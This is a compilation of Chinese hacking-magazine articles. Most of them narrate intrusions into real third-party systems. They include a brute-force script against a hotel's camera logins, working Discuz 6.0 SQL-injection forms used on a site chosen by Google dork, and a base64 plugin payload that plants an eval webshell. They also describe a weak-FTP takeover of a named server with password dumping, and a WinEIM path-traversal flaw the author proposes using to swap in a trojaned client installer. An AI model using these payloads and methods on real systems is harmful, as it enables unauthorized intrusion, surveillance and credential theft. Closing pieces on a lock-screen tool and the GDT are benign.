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论渗透测试的几个阶段 

文/图 木羊 
 之前发了几篇文章，基本都是围绕漏洞攻防这一热点话题展开讨论，最初的打算是将漏

洞攻防涵盖的主要方向分作几个专题写成系列文章，也是这么做的，原以为步步为营各位同

好能更容易形成整体观感，没想最近好几位同学问到的同一个问题却让我发现框架是有了，

倒是根基没有筑牢。这个问题就是：现在有了漏洞，那木马是不是没用了？ 

 这是个问题。如果你看到这笑了，请不要笑，这确实是个问题。当然了，对于这个问题

本身，答案是很明确的：不是。如果进一步问，为什么不是呢？这个问题我代为请教了几位

前辈，回答基本都是“不是一回事嘛”，比较笼统，我的回答是：因为是不同的阶段。这样

自然会进一步再问，那到底有几个阶段呢？这个正是前文所说的“根基”，我们都顾着张嘴

就说技术，譬如说漏洞，譬如说木马，譬如说社会工程，技术很多，但技术在整个过程中所

处的背景以及它所在的位置却都不说。 

 整个过程，这里指的是渗透测试（penetration test），这个颇为学究气的词在从良以

前都叫入侵或者干脆就是一个字“黑”（hack），细究起来有些词都有微妙的区别但这篇是技

术文就不作区分了。首先必须负责任的说，计算机科学作为一门学科，其理论除了在算法等

一些和其它学科深度交叉的方面外，总体是落后于实践的，现在对渗透测试的阶段划分是没

有一个不证自明或者普遍公认的标准，特别是商业化以后，美国出版的一些书对渗透测试的

环节还牵涉到管理和法律方面的问题，至少也包括情报收集等工作（俗称踩点）。美国人常

说 what、why、how，how是放在最后的，也就是说，怎么黑是最后才关心的问题，而黑什么

才是天字第一号要搞清楚的。不过这里我们狭隘一点，假设已经确定了我们要黑什么，客是

渗透什么，现在来讨论怎么渗透的几个阶段。 

 我个人把渗透测试分成三段。不妨将渗透过程看成一个“程序”，需要强调的是，这是

一个加引号的概念上的程序，毕竟渗透测试不一定要生成独立的可执行文件，甚至不一定需

要一个独立的进程，又或者依赖好几个不同的进程，只不过我们需要计算机完成我们想办的

事都依靠程序，那不妨就把这个办事的过程抽象成一个“程序”。既然是程序，自然就会有

三个阶段：运行前、运行时和运行后，这三个阶段都是相对独立了，但在流程上又相辅相成。

请再一次注意，这套“三段论”解释框架是木羊独创，目的是便于理解，至于考试怎么答那

得看课本，套用木羊的解释框架多半是要零分的。 

 运行前阶段主要干一件事，提权。写渗透测试和漏洞攻防的文章都会与一个词深度关联，

这个词就是提权。提什么权呢？都没有说，如果套用木羊的“三段论”就很好理解了，提运

行权。我们的程序要运行，首先得有运行权。至于运行什么，那就得看我们的程序依靠什么，

譬如说木马，木马是个正儿八经的可执行文件，要运行那就得有运行可执行文件的权限。怎

么取得这个权限呢？技术一点可以通过找漏洞，怎么通过漏洞运行可执行文件之前说了很多

就不展开了，当然也可以通过社工，详细步骤建议参悟卡耐基的《人性的弱点》，譬如说将

木马改名为“优衣库完整视频压缩包.exe”让哪个色鬼点击。 

 运行前这个阶段强调的是权限，让想要启动的“程序”能够启动起来，并不关心运行什

么。我是黑帽，我拥有运行权可以运行木马，但我是白帽，我拥有运行权则只是运行计算器。

不过也不要简单地等同于启动可执行程序，这与运行时的需求有关，如果“程序”需要重启，

那么这里的运行权就必须包括重启的权限，如果程序依赖第三方软件，譬如说某个系统服务

的配置，那么这个运行权也需要包括修改这个系统服务配置的权限。运行前阶段是拥有某个

能力或者解除某项限制的过程，但用不用这个能力，则是后面的事。 
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漏洞挖掘正是运行前阶段的工作，至于用不用、怎么用，那得看后两个阶段，运行时和运行

后了。运行时很好理解，就是做爱做的事情，“人脑爱用电脑做什么”属于社会心理学范畴，

我不便多插嘴，非要掺点技术，那只能是逃避杀软和 ARK(anti-rootkit）的监控，怎么逃

自然是各显神通，以木马为例吧，反弹端口和线程插入都属于这一类技术，现在“三无”（无

端口无进程无可执行文件）产品也早已满天飞了，当然这也是个反复较量的过程，如果上升

到理论高度，那就是保护好第一阶段提好的权，保持程序持续运行直至达到目标。 

 最后是运行后，这个阶段要做的事一点也不比前两个阶段容易，既要藏得深，在这一次

运行结束到下一次运行开始之前，这个时间段不知道有多长，但不管有多长，都必须保证第

一阶段提好的权不被拿走，真的非得藏于九地之下不可。又要醒得快，能够根据指令及时地

再次启动“程序”，有时候为了达到这一目的，第一阶段必须得额外取得一些权限才能保证

完成。运行后阶段是个最容易被忽视的阶段，但却肩负着承前继后的重任，涉及的技术不少，

这里暂且先只开题罢。 

 最后通常都是总结，不过我想说的是，分阶段这种工作通常只有两个目的，一个是便于

考试，总得有点什么概念才能死记硬背对吧，一个是便于理解，本文就是这个目的，但对于

一次渗透测试，要做的工作全都由同一件重要的事决定，重要的事要所三遍，那就是需求需

求需求，而这三个阶段，只不过是按先后顺序，将实现需求的手段进行归纳罢了。 
                                                                                

挖掘助讯通的远程安全漏洞 

                                 文/图 爱无言 

谈起国内知名的即时通讯软件，除了大名鼎鼎的 QQ 以外，助讯通（英文名称 WinEIM）

也是名声显赫。它不像 QQ 那样广泛用于互联网上的通讯，助讯通主要用于企业、教育、政

府、单位的内部局域网当中，和腾讯旗下的 RTX 十分类似。从助讯通的官方网站介绍来看

助讯通采用 C/S 结构，支持用户发送接收消息、文件，高效而又安全稳定。这个软件从 2002

年开始发布，到现在已经是 7.36 版本，可见还是相当占有市场的。它的开发者是陈金都，

作为个人开发的产品可谓相当不错了。既然是被市场认可的软件，那么不论由谁开发，我们

都会关注该软件的安全性，即时通讯软件的安全漏洞一向备受关注，就因为其利用价值高，

所以助讯通也不例外，今天就让我们一起挖掘一下它会有什么样的安全漏洞呢？ 

从官方网站上下载了助讯通的最新版，服务器端和客户端都是 7.36 版本。在 WinXP 平

台下安装助讯通的服务器端和客户端，搭建出我们的被测试平台。安装步骤十分简单，安装

完毕后，我们利用“助讯通服务端管理”软件设置了一个部门叫做“test”，因为毕竟助讯通

是为企业内部通讯服务的。在该部门中，我们设置了两个用户分别是：aiwuyan 和 hack。接

下来，我们发现了一个现在非常流行的东西：云盘，如图 1 所示。 
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图 1 

 软件的作者在这里将以往的用户文件存储功能上升为了“云盘”这样一个拉风的高度，

其主要的目的还是一样，就是为用户在服务器上提供一个可以上传文件的空间。这个功能很

令我们关注，因为“上传文件到服务器上”是一个敏感的话题，一个不小心就可能获得对服

务器的控制权限，你不信，那你接着往下看。 

 既然有“云盘”，那么我们就为用户开启“云盘”功能，设置方式很简单就是在用户的

前面打上勾，然后设定一个空间大小以供用户上传文件，如图 2 所示。 

 

图 2 

 设置完成后，我们打开助讯通的客户端登录了名为“aiwuyan”的用户，如图 3 所示。 
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图 3 

 从图 3 可以看出，助讯通的客户端采用了与 QQ 完全类似的显示界面，操作非常便捷，

点击其左下角的绿色图标，找出“云盘”功能，进入到“云盘”使用界面，如图 4 所示。 

 

图 4 

 现在，我们首先上传一个文件到“云盘”当中，看一看是什么效果。这里选择了一个记

事本文件，上传到“我的云盘”当中，如图 5 所示： 
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图 5 

 似乎看起来一切都很平静，这不是我们想要的效果，我们希望将这个记事本文件上传到

任意目录当中去，为什么要这样做？因为我们希望借助上传功能，将我们的程序上传到服务

器的特殊目录当中，例如开机启动目录，那样不就可以执行木马病毒程序，最终成功获得对

服务器的控制权限吗？但是，我们应该怎么做呢？那就对被上传记事本文件进行一下重命名

吧！我们希望借助重命名的机会，利用跨目录字符组“../”来实现对上传文件目的目录的控

制。可是，当我们抱着激动的心情测试的时候，才发现困难比我们想象的要大，如图 6 所示。 

 

图 6 

 这个残酷的提示对话框看似打破了我们的希望，但是当我们看到“创建目录”这四个字
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的时候，如图 7 所示，我知道机会又来了！ 

 

图 7 

 我们在输入新创建的目录名时，输入了“../”字符组，点击“OK”按钮后，令人惊喜

的事情终于发生了！如图 8 所示。 

 

图 8 

 有了这样的成功开始，我想下一步你应该懂了，一般默认情况下，服务端软件会被安装

在服务器的 C 盘目录下，在创新新目录时，你输入系统开机启动目录的地址，然后再创建

目录，这样你新建的“云盘”目录就转移到了开机启动目录下，这时候上传个木马程序，搞

一次拒绝服务，等服务器一重启，恭喜你一台新肉鸡上线了！ 

 等会，有些读者会说如果服务端没有安装在 C 盘下，那么又该怎么利用这个漏洞呢？

很简单，助讯通的“云盘”功能在创建新目录时不会判断当前被创建的目录是否存在，那么，

助讯通服务端的安装目录下肯定会有很多核心目录，例如 webroot 中的 files 目录，该目录中

存放着允许用户访问网页下载助讯通客户端程序。那么，我们在创建新的“云盘”目录时，

将目录名指向 webroot 中的 files 目录，创建成功后，在“云盘”功能中直接删除该目录，这

时，助讯通服务端会直接删除原有的 webroot 中的 files 目录，连同其中包含的原本助讯通自

带的那些安全可信的助讯通客户端程序。现在，重新利用“云盘”功能再次创建 webroot 中

的 files 目录，然后将你的木马病毒程序命名为“wineim_setup.exe”也就是助讯通客户端程

序的名字，上传该文件到 webroot 中的 files 目录当中，这样一来，一旦有用户利用网页下载

安装助讯通客户端程序就会把你的木马病毒程序下载安装在自己电脑上，最终你再一次多了

一台肉鸡！同样的渗透思路，你也可以利用来进行对服务器的攻击，替换助讯通服务端的可

执行文件或者其他的可执行文件，然后一举拿下服务器。 
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 仅仅几步的操作，我们竟然成功挖掘出助讯通的一个非常危险的安全漏洞，实际上的安

全威胁远不止这些，还有更多的漏洞等待有兴趣的读者去挖掘，本文旨在抛砖引玉，请不要

利用本文技术进行任何违法行为，作者和杂志概不负责。 
                                                                                  

记一次入侵旅店系统 

                               文/图 马智超（DesertEagle） 

     放假从学校回家，下了火车已经是凌晨三十多分，于是就在火车站附近找了个小旅店

住了下来。夜已很深但没有困意，手机可以连上旅店提供的 WIFI，于是打开手机的嗅探工

具嗅探数据，果然没什么有用的信息。打开 cookie 劫持工具，依然没有什么收获。想想现

在夜已经深了，很多人肯定都睡了。 

顺着原来局域网 WIFI 渗透的经历，我打开了电脑，直接在局域网内浏览路由器 web 控

制端，需要用户名和密码，如图 1 所示。 

 

                                     图 1 

因为路由器名字为 TP-LINK，我首先想到直接输入该品牌默认的用户名密码，竟然成功

进入。还以为老板会有些安全意识，会更改这个用户名和密码呢，可能很多人认为无所谓吧，

但实际上进入后我们可以做很多事，可以更改无线设置，开启远程端口，更改密码等，进入

后界面如图 2 所示。 

 

                                   图 2 

接下来我用自己写的扫描器扫描了一下局域网，将局域网开有 80 端口的 IP 地址列出来，
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发现几个开有 80 端口的 IP，点击进去都是同一个页面，如图 3 所示。 

 
                                    图 3 

仔细一看，原来是摄像头监控系统，挖到宝了。来的时候就注意到了，这里的摄像头特

别多，分布在每个走廊、角落、收银台，几乎是无孔不入。需要用户名密码，先手动试了两

个弱密码发现不行，但输入的过程中发现输入密码六位以上字母或数字就输入不进去了，明

显的六位密码，那就暴力破解看看吧。于是我写了几行脚本（python 代码），查看网页源代

码看其字段名，和 URL 一起放入脚本中来跑。核心代码如下： 

 

class ThreadUrl(threading.Thread): 

   def __init__(self,queue): 

      threading.Thread.__init__(self) 

      self.queue=queue 

   def run(self): 

       while True: 

           try: 

               if(Queue.Empty): 

                   pwd=self.queue.get() 

               else: 

                    break 

               params = urllib.urlencode({nn:Login, 

                          pp:pwd}) 

            headers={"Content-Type":"application/x-www-form-urlencoded",       

                   "Connection":"Keep-Alive"} 

               conn = httplib.HTTPConnection(url) 

               conn.request(method="POST",url=url2,body=params,headers=headers) 

               response = conn.getresponse() 

               if response.status == 302: 

                   final="破解成功!^_^!账号：%s 密码：%s"%(LOG,pwd) 

                   print inRed(final) 

                   success.append(final) 

               else: 

                   Print inGreen('try cracking name:%s pwd %s'%(LOG,pwd)) 
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                    conn.close() 

           except: 

                print inGreen('link time over !') 

           self.queue.task_done() 

调用处核心代码： 

 for i in range(10): 

        t=ThreadUrl(queue) 

        t.setDaemon(True) 

        t.start() 

    names = [line.rstrip() for line in open("name.txt")] 

    pwds = [line.rstrip() for line in open("pwd.txt")] 

    for log in names:  

        global LOG 

        LOG='' 

        LOG=log 

        for pwd in pwds: 

            p=pwd 

            queue.put(p) 

        queue.join()  

 

 暴力破解程序运行过程如图 4 所示，不到 10 分钟就成功破解了用户名密码。进入

后的界面如图 5 所示。 

 

图 4 

 

图 5 

    将控制菜单放大，我们可以看到此 vss 系统可以对监控摄像头进行聚焦、变焦、巡迹、
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旋转等操作，点击左边的监控选项，查看指定摄像头的监控，如图 6、7 所示。 

 

 

                               图 6 

 

                             图 7 

如果对摄像头进行操作，甚至可以看到收银台具体的账目信息，图 8 为其小收银台监控

图。 
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                                图 8 

 除了 80 端口，我们还可以扫描其他端口，找到可以渗透的点对其渗透测试，如图 9

为一例子。 

 

                          图 9 

当然，该局域网 IP 还开了很多可以渗透的端口，没有进行一一进行测试。所幸的是，

这里的监控系统都是局域网内可访问，没有设置公网访问，否则通过设置特征值扫描，我们

可以扫到多少这样的监控系统。现在许多品牌的云台监控系统，都存在着各自特征值，我们

只要仔细寻找特征值，对其扫描，就可以获取大量的监控 URL 地址，如图 10 就是我后来自

己设置特征值扫描到的一个截图。 

 

                             图 10 
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通过以上渗透过程我们可以看到，很多系统或多或少的都有一些明显的安全性的问题，

这些小的问题可能会被我们忽略掉，然而有很大的可能会泄露一些隐私，所以基本的安全意

识是很重要的。 

                                                                                  

渗透某“高大尚”车友会网站 

文/图 simeon 

 在乌云上看见有一个有关 Discuz! 6.0 版本的 my.php 文件的 SQL 注入漏洞，究其原因是

因为参数过滤不严格导致 SQL 注入，本文主要就其实战利用方面进行了一些研究。 

    在实际利用过程需要对管理员进行定位，换句话说就是必须找出管理员的账号，有很多

论坛都不是采用默认管理员即为 admin，而是修改为其它管理员，这时就要根据个人经验来

获取了。根据本人经验主要有以下几种方法来获取： 

 （1）先注册一个用户，使用注册用户登录论坛，通过查看管理用户（高级版主，版主）

发表帖子的地方，来获取管理员的 ID。 

 （2）查看论坛统计功能是否对普通用户或者游客开放，在统计模块中可以发现管理团

队。 

 （3）获取版主权限，通过版主的权限来查看管理员的管理模块，比如内部管理等等，

可以获取管理员的账号名称。 

 下面就一个实例来介绍 Discuz! 6.0 版本的 my.php 文件的 SQL 注入漏洞的实际利用，获

取管理员密码，并获取 webshell。 

 

通过关键字寻找渗透目标 

    通过 Google 搜索关键字“Powered by Discuz!6.0”And “go”，目的是获取 Discuz!6.0 版

本的论坛，如图 1 所示，对 Discuz!6.0 版本进行搜索，随机选择一个搜索出来的记录，单击

该链接访问网站。 

 
图 1 搜索目标 
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在论坛注册一个账号 

    本次打开的网站为 http://www.xxxxxxxx.net/，如图 2 所示，注册一个测试帐号“testfcuk”，

注册成功后使用该帐号进行登录。本次漏洞利用必须具有 user 权限。 

 

图 2 注册并登录论坛 

 

编辑漏洞利用模板 

 将以下代码保存为 html 文件： 

 

get admin info 

<form method='post' action='http://www.xxxxxxxxx.net/my.php?item=buddylist'> 

<input type='hidden' value="1111" name="descriptionnew[1' and(select 1 from(select  

count(*),concat((select  concat(username,0x3a,password,0x3a,secques,0x3a,email)  from  

cdb_members  where  adminid=1  limit  0,1),floor(rand(0)*2))x from 

information_schema.tables group by x)a) and 1=1#]" /><br /> 

<input type='submit' value='buddysubmit' name='buddysubmit' /><br /> 

</form> 

get mysql user info 

<form method='post' action='http://www.xxxxxxxxx.net/my.php?item=buddylist'> 

<input type='hidden' value="1111" name="descriptionnew[1' and(select 1 from(select 

count(*),concat((select (select (select concat(0x7e,user(),0x7e)  limit 0,1)) from 

information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group 

by x)a) and 1=1#]" /><br /> 

<input type='submit' value='buddysubmit' name='buddysubmit' /><br /> 

</form> 

get user salt,secques and password 
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<form method='post' action='http://www.xxxxxxxxx.net/my.php?item=buddylist'> 

<input type='hidden' value="1111" name="descriptionnew[1' and(select 1 from(select 

count(*),concat((select concat(user,0x3a,password,0x3a,salt,0x3a,secques,0x3a) from mysql.user 

limit 0,1 ),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1#]" /><br /> 

<input type='submit' value='buddysubmit' name='buddysubmit' /><br /> 

</form> 

 

 注意：目标网站不同则需要替换 form 表单中的网站地址。打开该 html 文件，如图 3 所

示，一共有三个提交按钮，分别是获取管理员信息，获取 mysql 用户信息，获取指定用户的

salt 和安全验证码。 

 

图 3 漏洞利用程序 

1）获取管理员信息 

    一般来讲默认 adminid=1 就是管理员，但有些情况其值可能不是 1，因此需要对代码进

行修改，使 adminid 与实际的值匹配。比如 adminid 为 2，则修改代码如下： 

 

and(select 1 from(select  count(*),concat((select  

concat(username,0x3a,password,0x3a,secques,0x3a,email)  from  cdb_members  where  

adminid=2  limit  0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 

1=1#] 

 

2）获取 salt 加密值 

 获取管理员或者某个用户 salt 加密值，则可以利用下面代码： 

 

descriptionnew[1' and(select 1 from(select count(*),concat((select 

concat(user,0x3a,password,0x3a,salt,0x3a,secques,0x3a) from mysql.user limit 

0,1 ),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1#] 

 

获取管理密码加密等信息 

    在图 3 中单击第一个按钮获取管理员的基本信息，如图 4 所示，获取信息如下： 

小凯:2459b24d9f663d2a4afa48374d63b8d1::chinaxxxxxxxxx@163.com1，用户名“小凯”，密
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码为“2459b24d9f663d2a4afa48374d63b8d1”，邮箱地址“chinaxxxxxxxxx@163.com”。 

 

图 4 获取管理员密码值 

 

获取数据库信息 

 回到漏洞利用页面，单击第二个按钮获取数据库相关信息，如图 5 所示，数据库服务器

“localhost”，用户名“xxxxxxxxx”。 

 

图 5 获取数据库信息 

 

进入管理后台 

将 MD5 加密值在 cmd5.com 进行查询，获取其加密密码，使用用户和密码进行登录，

如图 6 所示，顺利进入网站前台和后台。 

HACKER DEFENCE◆17◆

黑
客
防
线
 

ww
w.
ha
ck
er
.c
om
.c
n 

转
载
请
注
明
出
处



 

 

图 6 进入后台管理中心 

 

通过插件漏洞直接获取 webshell 

如图7所示，在后台中先创建一个插件名称“webshell”，唯一标识符：

“a']=eval($_POST[cmd]);$a['”，导入以下代码即可获取webshell：  

 

YToyOntzOjY6InBsdWdpbiI7YTo5OntzOjk6ImF2YWlsYWJsZSI7czoxOiIx 

IjtzOjc6ImFkbWluaWQiO3M6MToiMCI7czo0OiJuYW1lIjtzOjg6IkdldFNo 

ZWxsIjtzOjEwOiJpZGVudGlmaWVyIjtzOjI2OiJhJ109ZXZhbCgkX1BPU1Rb 

Y21kXSk7JGFbJyI7czoxMToiZGVzY3JpcHRpb24iO3M6MDoiIjtzOjEwOiJk 

YXRhdGFibGVzIjtzOjA6IiI7czo5OiJkaXJlY3RvcnkiO3M6MDoiIjtzOjk6 

ImNvcHlyaWdodCI7czowOiIiO3M6NzoibW9kdWxlcyI7czowOiIiO31zOjc6 

InZlcnNpb24iO3M6NToiNi4wLjAiO30= 

 

图7插件漏洞利用 

HACKER DEFENCE◆18◆

黑
客
防
线
 

ww
w.
ha
ck
er
.c
om
.c
n 

转
载
请
注
明
出
处



 

 Webshell的密码为cmd，webshell地址为：

http://localhost/dz6.0/forumdata/cache/plugin_a']=eval($_POST[cmd]);$a['.php。通

过插件漏洞直接获取Webshell，如图7所示，在浏览器中输入Webshell地址

“http://www.xxxxxxxxx.net/forumdata/cache/plugin_a']=eval($_POST[cmd]);$a['.php”进行验

证，Webshell成功获取，如图8所示为查看网站论坛配置文件config.inc.php内容。 

 

图 8 测试 Webshell 地址 

 

图 9 获取 webshell 

                                                                                

Ftp 弱口令渗透某服务器 

文/图 Simeon 

 闲来无事，测试某款工具软件，扫描出某服务器 ftp 弱口令：ftp/ftp，直接使用 cuteftp

进行登录，成功登录，如图 1 所示。 
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图 1 获取 ftp 权限 

 

获取 webshell 

    通过 ftp 客户端程序直接上传 webshell 一句话后门，果断使用菜刀一句话进行连接，如

图 2 所示，成功获取 webshell。 

 

图 2 获取 webshell 

获取数据库帐号和密码 

   通过菜刀管理端对网站配置文件进行查看，在根目录“inc”下获取数据库连接文件

conn.asp，打开该文件获取其数据库配置信息，数据库 IP、用户和密码，如图 3 所示。一般

来说数据库连接密码会保存在根目录 conn.asp 或者 include、inc 文件夹下，如果不是则可以

查看 index.asp 中的包含文件。 
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图 3 获取数据库配置信息 

 

数据库服务器直接提权 

 1）连接数据库服务器 

本次使用 sqlexec 工具，输入“Host”、“User”和“Pass”，单击 connect 进行连接测试，

使用“ipconfig /all”测试是否可以执行命令，如图 4 所示，图 5 所示，可以直接添加用户。 

 
图 4 连接数据库服务器 

 

图 5 添加用户 

（2）扫描端口 
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通过 nmap 对服务器进行扫描，如图 6 所示，在 Target 中输入 IP 地址“220.191.210.118”，

扫描结果表明服务器开放 21、1433、80、81、3389。 

 

图 6 扫描端口开放情况 

    3）使用终端登录 3389 

    使用 mstc 直接登录该服务器，如图 7 所示，成功登录，在该服务器上发现了早期安全

员对站点后门的查杀记录以及黑客添加的用户，如图 8，图 9 所示，同时该服务器还被黑客

用来做肉鸡扫描。上传 wce 密码获取工具，执行“wce –w”命令直接获取曾经登录的密码，

如图 10 所示。 

 
图 7 成功登录该服务器 

 

图 8 早期后门查杀记录和黑客添加到管理员帐号 
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图 9 发现的黑客工具 

 

图 10 通过 wce 快速获取管理员密码 

总结 

    通过 ftp 弱口令扫描，获取服务器 Ftp 权限，通过 ftp 上传 webshell，通过 webshell 查

看服务器获取信息后，进行提权。通过对该服务器进行安全检查，发现该服务器主要存在两

个非常明显的漏洞，fckeditor 编辑器 test.html 文件上传和 ftp 弱口令。通过这两个基础漏洞

成功渗透服务器，可见基础还是很重要的。 

 

（完） 
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编写 Windows 系统锁屏图片更改工具 

                               文/图 马智超（Deserteagle） 

之前美化 Windows 系统，在更改屏幕锁定图片的时候，发现每次手动更改比较麻烦，

并且发现其中原理也非常简单，所用到的技术也清晰明了：对注册表的操作，突破权限复制

文件，调用系统函数锁屏和简单的 MFC 界面操作，于是索性写个小软件，以后再用的时候

方便，我的系统是 win7 系统，在其上可以使用。 

 

原理浅析 

我们从网上可以看到一些方法介绍，首先我们要修改注册表，注册表是 Microsoft 

Windows 用于存储系统和应用程序的设置信息的一个重要的数据库。进入注册表

HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Authentication/LogonU

I/Background，看是否有 OEMBackground 这个键，没有就新建，数据类型为 REG_DWORD，

将 其 值 设 置 为 1 ， 然 后 选 择 图 片 ， 命 名 为 backgroundDefault.jpg 放 置 在

C:\Windows\System32\oobe\info\backgrounds 目录下。如果没有这个目录就新建，然后把图

片复制过去。最后检查一下算机配置-管理模块-系统-登录模块是否始终选择自定义登录背

景，没有的话就勾选上，然后就可以了。原理就是这样了，我们可以猜到在代码中我们要对

注册表进行操作，对文件目录操作，由于是系统目录，还需要突破系统权限。还需要调用系

统函数，来进行锁屏测试，下面是代码的详细说明。 

 

代码解析 

我们先说说选择图像目录的功能，选择图像目录我们可以调用 CFileDialog 类，在这个

类中我们可以使用 GetPathName()等函数来获取所选图片的路径，继而自己写个函数来获取

它的文件名，路径等信息。核心代码如下： 

 

CFileDialog ccFileDlg(TRUE, NULL, NULL, 

OFN_HIDEREADONLY|OFN_OVERWRITEPROMPT|OFN_ALLOWMULTISELECT,    

        _T("Image files(*.png; *.jpg)|*.png;*.jpg|All files(*.*)|*.*||"), NULL);   

    if (ccFileDlg.DoModal() == IDOK)   

    {   

        CString strPathName = ccFileDlg.GetPathName();   

        CString strDir = strPathName.Left(strPathName.ReverseFind('\\'));   

  strPathName.Replace("\\","\\\\"); 

  CString s=GetFileName(strPathName); 

  CopyFile(strPathName,"C:\\backgroundDefault.jpg",false); 

        SHFILEOPSTRUCT fileop; 

        fileop.hwnd = this->m_hWnd; 

        fileop.wFunc = FO_COPY;// 拷贝 

        fileop.pFrom = "C:\\backgroundDefault.jpg";// 从哪里拷贝 

        fileop.pTo = 

"C:\\Windows\\System32\\oobe\\info\\backgrounds\\backgroundDefault.jpg";//拷贝到哪里 

        fileop.fFlags = FOF_NOCONFIRMMKDIR;//FOF_SILENT; 
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        SHFileOperation(&fileop) ;// 执行 

  AfxMessageBox("图片选择成功!");   

    } 

 

经过测试，如果用 copyfile 函数来直接将文件复制到 windows 目录下，虽然不会有错误

信息，但是文件不能被复制过去，这与系统目录的权限保护有关，那么我们如何突破呢？经

过测试，在 Windows 的 shellapi 文件中定义了一个名为 SHFileOperation（）的外壳函数，用

它可以实现各种文件操作，并且不会因为权限限制而复制不过去。 

而这里我是先把任何名字的图片复制到 C 盘目录下，自动重命名为 backgroundDefault，

而如果先重命名的话，若再次选通目录下的图片重命名会有冲突问题，所有 copyfile 第三个

参数设为 false，这样自动覆盖就没有了这个冲突，然后再把 C 盘目录下的文件复制到指定

目录下。 

接下来是对注册表的操作，对注册表的打开、删除、查询、新建、设置等都有对应的

windows API，下面是核心代码，看看函数名也知道是对应干什么的了： 

 

LONG RegOpenKeyEx( 

    HKEY hKey，// 需要打开的主键的名称 

    LPCTSTR lpSubKey， //需要打开的子键的名称 

    DWORD ulOptions，// 保留，设为 0 

    REGSAM samDesired， // 安全访问标记，也就是权限 

    PHKEY phkResult // 得到的将要打开键的句柄 

)；  

LONG RegSetValueEx( 

    HKEY hKey， 

    LPCTSTR lpValueName， 

    DWORD Reserved， 

    DWORD dwType， 

    CONST BYTE *lpData， 

    DWORD cbData 

)； 

核心代码如下： 

 LONG  lRetCode,mRetCode,nRetCode;  

 HKEY  hKey1,hKey;  

 DWORD  dwDisposition;  

 char* b=(LPSTR)(LPCTSTR)"OEMBackground"; 

 LONG   lRetCode1;  

 lRetCode1 = RegOpenKeyEx (HKEY_LOCAL_MACHINE,  

 "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Authentication\\LogonUI\\Backgr

ound", 

  0,  KEY_SET_VALUE|KEY_WOW64_64KEY, &hKey1);  

 if(lRetCode1 != ERROR_SUCCESS){ 

 AfxMessageBox(_T("子键不存在,正在创建！")); 

  mRetCode=RegCreateKeyEx ( HKEY_LOCAL_MACHINE, 

"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Authentication\\LogonUI\\Background", 0, 
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b, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS,  

  NULL, &hKey1, &dwDisposition);  

  

 if (mRetCode != ERROR_SUCCESS) 

 {  AfxMessageBox(_T("创建失败！"));return; }  

 

 } 

   DWORD dwData; 

   dwData=1;  

   DWORD dwSize =sizeof(DWORD); 

 nRetCode = RegSetValueEx ( hKey1,"OEMBackground", 0, REG_DWORD, (LPBYTE) 

&dwData,dwSize);  

 if (nRetCode != ERROR_SUCCESS)  

 {  

  AfxMessageBox(_T("修改失败！")); 

  return;  

 } 

 else {MessageBox("操作完成！注意图像大小必须大于等于屏幕大小，程序不提供图

像扩放功能！");}  

     GetDlgItem(IDC_BUTTON3)->EnableWindow(true); 

 

这里注意 RegOpenKeyEx 里要加入 KEY_WOW64_64KEY 来指出是 32 位操作系统还是 64

位操作系统，这样写入注册表不会出错，否则会因为重定向问题而不能向注册表内写入值，

即使最后 RegSetValueEx()函数返回的值为 0。 

    接着执行锁屏测试的代码只需要一行，非常好懂： 

system("rundll32.exe user32.dll,LockWorkStation "); 

而 MFC 界面设计与美化之类的没什么技术含量，就不多讲了，所有的核心代码就是这

些了。 

 

测试截图 

    打开软件界面如图 1 所示。 

 
图 1 
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点击选择目录按钮，选择要更换的图片，如图 2 所示，因为已经存在，所以会有如图提

示，接着会出现如图 3 所示的提示。接着我们打开注册表可以看到一开始所指定键值为 0，

如图 4，我们要将其修改为 1，点击修改按钮执行，如图 5，我们可以看到提示。 

 
图 2 

 

图 3 

 

                               图 4 
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                                   图 5 

接着点击锁屏测试，会调用系统函数，来执行锁屏功能，我们就可以看到自己所更改的

锁屏图片的效果了。 

经过测试，本程序可以实现 Win7 系统的锁屏图片更改，通过这次 MFC 编程写了一个小

的软件，其意义不仅是方便了操作，更重要的是在于温习了一些编程技术，温故而知新。 

                                                                      

深入解析 GDT 

文/ 主动 

 CPU 相信大家都知道是什么，但 GDT 对于一些不搞底层的人，知道的可能就不多了。

GDT 是 global descriptor table 的缩写，相应的还有个 local descriptor tables（LDT），这个不在

本文的讨论范围内。 

 GDT 在保护模式教程中经常看到，但这和我们程序员有什么关系呢？ 

 1）留后门，就是进入 R0 后设置（R3）进入 R0 的后门（如调用门、中断门、任务门等）。 

 2）了解/编写操作系统。微软的 Windows 经历了很多变化，如今都到了 Windows 10。

但这对咱有意思吗？顶多认识了解和应用/利用。好像有不少的变化（PC 端）都是基于硬件

的，基于软件的算法不说。 

 3）虚拟化。如 intel-VT 就要设置许多段（如 cs、ss、ds、es、fs、gs 等）的 Base、Limit、

access rights、Selectors 等。 

 好了，废话不多说，进入正题。以 Windows 系统为例进行分析。 

 

kd> vertarget  

Windows XP Kernel Version 2600 (Service Pack 3) MP (1 procs) Free x86 compatible 

Built by: 2600.xpsp_sp3_qfe.130704-0421 

Machine Name: 

Kernel base = 0x804d8000 PsLoadedModuleList = 0x8055e720 

Debug session time: Thu Aug  6 14:25:16.468 2015 (UTC + 8:00) 

System Uptime: 0 days 0:01:19.984 

 

 这是操作系统的环境信息，GDT 是由 GDTR 指向的。 
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kd> r gdtr 

gdtr=8003f000 

 

 其大小为： 

 

kd> r gdtl 

gdtl=000003ff 

 

 其全部的内容为： 

 

kd> db 8003f000 L(000003ff + 1) 

8003f000  00 00 00 00 00 00 00 00-ff ff 00 00 00 9b cf 00  ................ 

8003f010  ff ff 00 00 00 93 cf 00-ff ff 00 00 00 fb cf 00  ................ 

8003f020  ff ff 00 00 00 f3 cf 00-ab 20 00 20 04 8b 00 80  ......... . .... 

8003f030  01 00 00 f0 df 93 c0 ff-ff 0f 00 00 00 f3 40 00  ..............@. 

8003f040  ff ff 00 04 00 f2 00 00-00 00 00 00 00 00 00 00  ................ 

8003f050  68 00 00 27 55 89 00 80-68 00 68 27 55 89 00 80  h..'U...h.h'U... 

8003f060  ff ff 40 2f 02 93 00 00-ff 3f 00 80 0b 92 00 00  ..@/.....?...... 

